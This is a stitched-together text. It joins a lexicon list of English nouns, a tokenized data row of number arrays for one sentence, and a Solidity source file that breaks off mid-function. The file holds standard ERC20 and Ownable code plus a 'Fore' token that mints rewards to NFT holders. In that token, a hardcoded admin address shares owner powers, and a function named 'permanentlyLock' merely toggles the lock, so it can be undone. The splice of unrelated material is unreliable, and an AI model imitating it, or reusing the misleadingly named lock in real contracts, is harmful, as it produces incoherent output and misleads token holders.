eng_noun:organobromine{},
eng_noun:proforma{},
eng_noun:sawtooth{},
eng_noun:Tenochcan{},
eng_noun:remiped{},
eng_noun:paediatric{},
eng_noun:nihilarian{},
eng_noun:quadrate{},
eng_noun:Nebraskan{},
eng_noun:Nabatean{},
eng_noun:pansexual{},
eng_noun:parotid{},
eng_noun:Dorian{},
eng_noun:Zarathustrian{},
eng_noun:nonparticipant{},
eng_noun:nonrecognition{},
eng_noun:nonsexist{},
eng_noun:nonspecialist{},
eng_noun:Emirati{},
eng_noun:serpentry{},
eng_noun:geru{},
eng_noun:bichord{},
eng_noun:roundhead{},
eng_noun:Jamerican{},
eng_noun:epical{},
eng_noun:antiprotozoal{},
eng_noun:cotemporary{},
eng_noun:alkenyl{},
eng_noun:preseed{},
eng_noun:aminopropyl{},
eng_noun:Rusyn{},
eng_noun:brookside{},
eng_noun:screwtop{},
eng_noun:Indo - germanic{},
eng_noun:biaryl{},
eng_noun:quartan{},
eng_noun:nanophase{},
eng_noun:nonwoven{},
eng_noun:Ukie{},
eng_noun:choleretic{},
eng_noun:structuralist{},
eng_noun:obviative{},
eng_noun:A - line{},
eng_noun:Bostonite{},
eng_noun:antitumor{},
eng_noun:fattist{},
eng_noun:cathartical{},
eng_noun:scoptophiliac{},
eng_noun:Bashkortostani{},
eng_noun:anacreontic{},
eng_noun:neofascist{},
eng_noun:germinant{},
eng_noun:occurrent{},
eng_noun:imponent{},
eng_noun:sphingid{},
eng_noun:turbellarian{},
eng_noun:vesicomyid{},
eng_noun:kutcha{},
eng_noun:elapid{},
eng_noun:hypothecary{},
eng_noun:Manchurian{},
eng_noun:speccy{},
eng_noun:delphinine{},
eng_noun:callable{},
eng_noun:ultramontane{},
eng_noun:Tadzhik{},
eng_noun:Tennessean{},
eng_noun:antifibrinolytic{},
eng_noun:nonemergency{},
eng_noun:anticonsumerist{},
eng_noun:prehypertensive{},
eng_noun:ultranationalist{},
eng_noun:Cromwellian{},
eng_noun:reliabilist{},
eng_noun:fictionalist{},
eng_noun:coherentist{},
eng_noun:semi - vegetarian{},
eng_noun:apiarian{},
eng_noun:nonbusiness{},
eng_noun:ultraportable{},
eng_noun:nonsolvent{},
eng_noun:make - out{},
eng_noun:nonrecombinant{},
eng_noun:paranuchal{},
eng_noun:midconcert{},
eng_noun:nonruminant{},
eng_noun:nondaily{},
eng_noun:lacertilian{},
eng_noun:Mangaian{},
eng_noun:Oblomovist{},
eng_noun:Mantinean{},
eng_noun:Mantuan{},
eng_noun:nonscalar{},
eng_noun:medusoid{},
eng_noun:Shanghainese{},
eng_noun:Benthamite{},
eng_noun:nonmineral{},
eng_noun:Sarajevan{},
eng_noun:Skopjan{},
eng_noun:Rigan{},
eng_noun:Hanoian{},
eng_noun:nonlife{},
eng_noun:bayard{},
eng_noun:malaprop{},
eng_noun:anarcho - capitalist{},
eng_noun:nonfeline{},
eng_noun:Adjaran{},
eng_noun:antiart{},
eng_noun:nonaromatic{},
eng_noun:multilateralist{},
eng_noun:tetanuran{},
eng_noun:obv.{},
eng_noun:winne{},
eng_noun:nonlibertarian{},
eng_noun:nonneurotic{},
eng_noun:afrotherian{},
eng_noun:pappyshow{},
eng_noun:postop{},
eng_noun:inspiral{},
eng_noun:subgrid{},
eng_noun:multipath{},
eng_noun:intermonsoon{},
eng_noun:screw - off{},
eng_noun:Timonist{},
eng_noun:multiport{},
eng_noun:nonevidence{},
eng_noun:schooly{},
eng_noun:antidiarrhoeal{},
eng_noun:aperitive{},
eng_noun:acrodont{},
eng_noun:Narnian{},
eng_noun:Lacedaemonian{},
eng_noun:firster{},
eng_noun:Warsovian{},
eng_noun:Batavian{},
eng_noun:nonsubordinate{},
eng_noun:Sasanian{},
eng_noun:Teucrian{},
eng_noun:neuroprotectant{},
eng_noun:procoagulant{},
eng_noun:antidiarrheic{},
eng_noun:Wesleyan{},
eng_noun:nondiscipline{},
eng_noun:intercommunity{},
eng_noun:Roumanian{},
eng_noun:varioloid{},
eng_noun:vomitory{},
eng_noun:lacunar{},
eng_noun:catarrhine{},
eng_noun:noninterview{},
eng_noun:multivalve{},
eng_noun:scabious{},
eng_noun:extrinsical{},
eng_noun:bicolour{},
eng_noun:antiherpetic{},
eng_noun:Wordsworthian{},
eng_noun:sweetmeal{},
eng_noun:Canadarian{},
eng_noun:Salvatorian{},
eng_noun:Baghdadian{},
eng_noun:lameo{},
eng_noun:Eskimoan{},
eng_noun:witherward{},
eng_noun:Zaragozan{},
eng_noun:miscellanist{},
eng_noun:pretrigger{},
eng_noun:nonsurvival{},
eng_noun:Spenserian{},
eng_noun:Trifluvian{},
eng_noun:dearn{},
eng_noun:Oxfordian{},
eng_noun:verbile{},
eng_noun:lame - o{},
eng_noun:Lamarckian{},
eng_noun:Ostrobothnian{},
eng_noun:read - through{},
eng_noun:Cushitic{},
eng_noun:Neopythagorean{},
eng_noun:pictorialist{},
eng_noun:foldover{},
eng_noun:ridgeside{},
eng_noun:primatal{},
eng_noun:antigonorrhoeic{},
eng_noun:superciliary{},
eng_noun:inferiour{},
eng_noun:Nepaulese{}
}
| A common remedy is uncommonly difficult to find.
| eng_noun:common{}, | 7,304,998 | [
1,
37,
2975,
849,
24009,
353,
12704,
2586,
715,
3122,
17551,
358,
1104,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
24691,
67,
82,
465,
30,
6054,
2916,
16,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//
// /$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$
// /$$__ $$ /$$__ $$ /$$__ $$ /$$__ $$
// | $$ \__/| $$ \ $$| $$ \__/| $$ \__/
// | $$$$$$ | $$$$$$$$| $$ /$$$$| $$
// \____ $$| $$__ $$| $$|_ $$| $$
// /$$ \ $$| $$ | $$| $$ \ $$| $$ $$
// | $$$$$$/| $$ | $$| $$$$$$/| $$$$$$/
// \______/ |__/ |__/ \______/ \______/
//
//
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
interface ISagc {
function balanceOf(address _user) external view returns(uint256);
function ownerOf(uint256 _tokenId) external view returns(address);
function totalSupply() external view returns (uint256);
}
contract Fore is ERC20("Fore", "FORE"), Ownable {
address public LoyalApeContractAddress;
address public UpComingContractAddress;
address public SagcContractAddress;
address public admin = 0x3AA4519AF9C26E0e259348CD78B3f09d56fD1B70;
struct ContractSettings {
uint256 baseRate;
uint256 start;
uint256 end;
}
ContractSettings public loyalApeContractSettings;
ContractSettings public upComingContractSettings;
ContractSettings public sagcContractSettings;
ISagc public iLoyalApe;
ISagc public iUpComing;
ISagc public iSagc;
// Prevents new contracts from being added or changes to disbursement if permanently locked
bool public isLocked = false;
mapping(bytes32 => uint256) public loyalApeLastClaim;
mapping(bytes32 => uint256) public upComingLastClaim;
mapping(bytes32 => uint256) public sagcLastClaim;
event RewardPaid(address indexed user, uint256 reward);
constructor(address _loyalApeAddress,address _upComingAddress,address _sagcAddress, uint256 _loyalApeBaseRate, uint256 _upComingBaseRate, uint256 _sagcBaseRate) {
LoyalApeContractAddress = _loyalApeAddress;
UpComingContractAddress = _upComingAddress;
SagcContractAddress = _sagcAddress;
iLoyalApe = ISagc(LoyalApeContractAddress);
iUpComing = ISagc(UpComingContractAddress);
iSagc = ISagc(SagcContractAddress);
// initialize contractSettings
loyalApeContractSettings = ContractSettings({
baseRate: _loyalApeBaseRate * 10 ** 18,
start: 1645369200,
end: 1708441200
});
upComingContractSettings = ContractSettings({
baseRate: _upComingBaseRate * 10 ** 18,
start: 1645369200,
end: 1708441200
});
sagcContractSettings = ContractSettings({
baseRate: _sagcBaseRate * 10 ** 18,
start: 1645369200,
end: 1708441200
});
}
function setLoyalApeContractSettings(uint256 _baseRate, uint256 _start, uint256 _end) public {
require(msg.sender == admin || msg.sender == owner(), "Invalid sender");
require(!isLocked, "Cannot modify end dates after lock");
loyalApeContractSettings.baseRate = _baseRate * 10 ** 18;
loyalApeContractSettings.start = _start;
loyalApeContractSettings.end = _end;
}
function setUpComingContractSettings(uint256 _baseRate, uint256 _start, uint256 _end) public {
require(msg.sender == admin || msg.sender == owner(), "Invalid sender");
require(!isLocked, "Cannot modify end dates after lock");
upComingContractSettings.baseRate = _baseRate * 10 ** 18;
upComingContractSettings.start = _start;
upComingContractSettings.end = _end;
}
function setSagcContractSettings(uint256 _baseRate, uint256 _start, uint256 _end) public {
require(msg.sender == admin || msg.sender == owner(), "Invalid sender");
require(!isLocked, "Cannot modify end dates after lock");
sagcContractSettings.baseRate = _baseRate * 10 ** 18;
sagcContractSettings.start = _start;
sagcContractSettings.end = _end;
}
function claimRewardForLoyalApe(uint256 _loyalApeTokenId) public returns (uint256) {
uint256 totalUnclaimedReward1 = 0;
require(loyalApeContractSettings.end > block.timestamp, "Time for claiming has expired.");
require(iLoyalApe.ownerOf(_loyalApeTokenId) == msg.sender, "Caller does not own the token being claimed for.");
totalUnclaimedReward1 = computeUnclaimedRewardForLoyalApe(_loyalApeTokenId);
// update the lastClaim date for tokenId and contractAddress
bytes32 lastClaimKey = keccak256(abi.encode(_loyalApeTokenId));
loyalApeLastClaim[lastClaimKey] = block.timestamp;
// mint the tokens and distribute to msg.sender
_mint(msg.sender, totalUnclaimedReward1);
emit RewardPaid(msg.sender, totalUnclaimedReward1);
return totalUnclaimedReward1;
}
function claimRewardForUpComing( uint256 _upComingTokenId) public returns (uint256) {
uint256 totalUnclaimedReward2 = 0;
require(upComingContractSettings.end > block.timestamp, "Time for claiming has expired.");
require(iUpComing.ownerOf(_upComingTokenId) == msg.sender, "Caller does not own the token being claimed for.");
totalUnclaimedReward2 = computeUnclaimedRewardForUpComing(_upComingTokenId);
// update the lastClaim date for tokenId and contractAddress
bytes32 lastClaimUpComingKey = keccak256(abi.encode(_upComingTokenId));
upComingLastClaim[lastClaimUpComingKey] = block.timestamp;
// mint the tokens and distribute to msg.sender
_mint(msg.sender, totalUnclaimedReward2);
emit RewardPaid(msg.sender, totalUnclaimedReward2);
return totalUnclaimedReward2;
}
function claimRewardForSagc(uint256 _sagcTokenId) public returns (uint256) {
uint256 totalUnclaimedReward1 = 0;
require(sagcContractSettings.end > block.timestamp, "Time for claiming has expired.");
require(iSagc.ownerOf(_sagcTokenId) == msg.sender, "Caller does not own the token being claimed for.");
totalUnclaimedReward1 = computeUnclaimedRewardForSagc(_sagcTokenId);
// update the lastClaim date for tokenId and contractAddress
bytes32 lastClaimKey = keccak256(abi.encode(_sagcTokenId));
sagcLastClaim[lastClaimKey] = block.timestamp;
// mint the tokens and distribute to msg.sender
_mint(msg.sender, totalUnclaimedReward1);
emit RewardPaid(msg.sender, totalUnclaimedReward1);
return totalUnclaimedReward1;
}
function claimRewardsForLoyalApe(uint256[] calldata _loyalApeTokenIds) public returns (uint256) {
require(loyalApeContractSettings.end > block.timestamp, "Time for claiming has expired");
uint256 totalUnclaimedReward1 = 0;
for(uint256 i = 0; i < _loyalApeTokenIds.length; i++) {
uint256 _loyalApeTokenId = _loyalApeTokenIds[i];
require(iLoyalApe.ownerOf(_loyalApeTokenId) == msg.sender, "Caller does not own the token being claimed for.");
uint256 unclaimedReward = computeUnclaimedRewardForLoyalApe(_loyalApeTokenId);
totalUnclaimedReward1 = totalUnclaimedReward1 + unclaimedReward;
// update the lastClaim date for tokenId and contractAddress
bytes32 lastClaimKey = keccak256(abi.encode(_loyalApeTokenId));
loyalApeLastClaim[lastClaimKey] = block.timestamp;
}
// mint the tokens and distribute to msg.sender
_mint(msg.sender, totalUnclaimedReward1);
emit RewardPaid(msg.sender, totalUnclaimedReward1);
return totalUnclaimedReward1;
}
function claimRewardsForUpComing(uint256[] calldata _upComingTokenIds) public returns (uint256) {
require(upComingContractSettings.end > block.timestamp, "Time for claiming has expired");
uint256 totalUnclaimedReward2 = 0;
for(uint256 i = 0; i < _upComingTokenIds.length; i++) {
uint256 _upComingTokenId = _upComingTokenIds[i];
require(iUpComing.ownerOf(_upComingTokenId) == msg.sender, "Caller does not own the token being claimed for.");
uint256 unclaimedReward = computeUnclaimedRewardForUpComing(_upComingTokenId);
totalUnclaimedReward2 = totalUnclaimedReward2 + unclaimedReward;
// update the lastClaim date for tokenId and contractAddress
bytes32 lastClaimKey = keccak256(abi.encode(_upComingTokenId));
upComingLastClaim[lastClaimKey] = block.timestamp;
}
// mint the tokens and distribute to msg.sender
_mint(msg.sender, totalUnclaimedReward2);
emit RewardPaid(msg.sender, totalUnclaimedReward2);
return totalUnclaimedReward2;
}
function claimRewardsForSagc(uint256[] calldata _sagcTokenIds) public returns (uint256) {
require(sagcContractSettings.end > block.timestamp, "Time for claiming has expired");
uint256 totalUnclaimedReward1 = 0;
for(uint256 i = 0; i < _sagcTokenIds.length; i++) {
uint256 _sagcTokenId = _sagcTokenIds[i];
require(iSagc.ownerOf(_sagcTokenId) == msg.sender, "Caller does not own the token being claimed for.");
uint256 unclaimedReward = computeUnclaimedRewardForSagc(_sagcTokenId);
totalUnclaimedReward1 = totalUnclaimedReward1 + unclaimedReward;
// update the lastClaim date for tokenId and contractAddress
bytes32 lastClaimKey = keccak256(abi.encode(_sagcTokenId));
sagcLastClaim[lastClaimKey] = block.timestamp;
}
// mint the tokens and distribute to msg.sender
_mint(msg.sender, totalUnclaimedReward1);
emit RewardPaid(msg.sender, totalUnclaimedReward1);
return totalUnclaimedReward1;
}
function permanentlyLock() public {
require(msg.sender == admin || msg.sender == owner(), "Invalid sender");
isLocked = !isLocked;
}
function getUnclaimedRewardAmountForLoyalApe(uint256 _tokenId) public view returns (uint256) {
return computeUnclaimedRewardForLoyalApe(_tokenId);
}
function getUnclaimedRewardAmountForUpComing(uint256 _tokenId) public view returns (uint256) {
return computeUnclaimedRewardForUpComing(_tokenId);
}
function getUnclaimedRewardAmountForSagc(uint256 _tokenId) public view returns (uint256) {
return computeUnclaimedRewardForSagc(_tokenId);
}
function getUnclaimedRewardsAmountForLoyalApe(uint256[] calldata _tokenIds) public view returns (uint256) {
uint256 totalUnclaimedRewards = 0;
for(uint256 i = 0; i < _tokenIds.length; i++) {
totalUnclaimedRewards += computeUnclaimedRewardForLoyalApe(_tokenIds[i]);
}
return totalUnclaimedRewards;
}
function getUnclaimedRewardsAmountForUpComing(uint256[] calldata _tokenIds) public view returns (uint256) {
uint256 totalUnclaimedRewards = 0;
for(uint256 i = 0; i < _tokenIds.length; i++) {
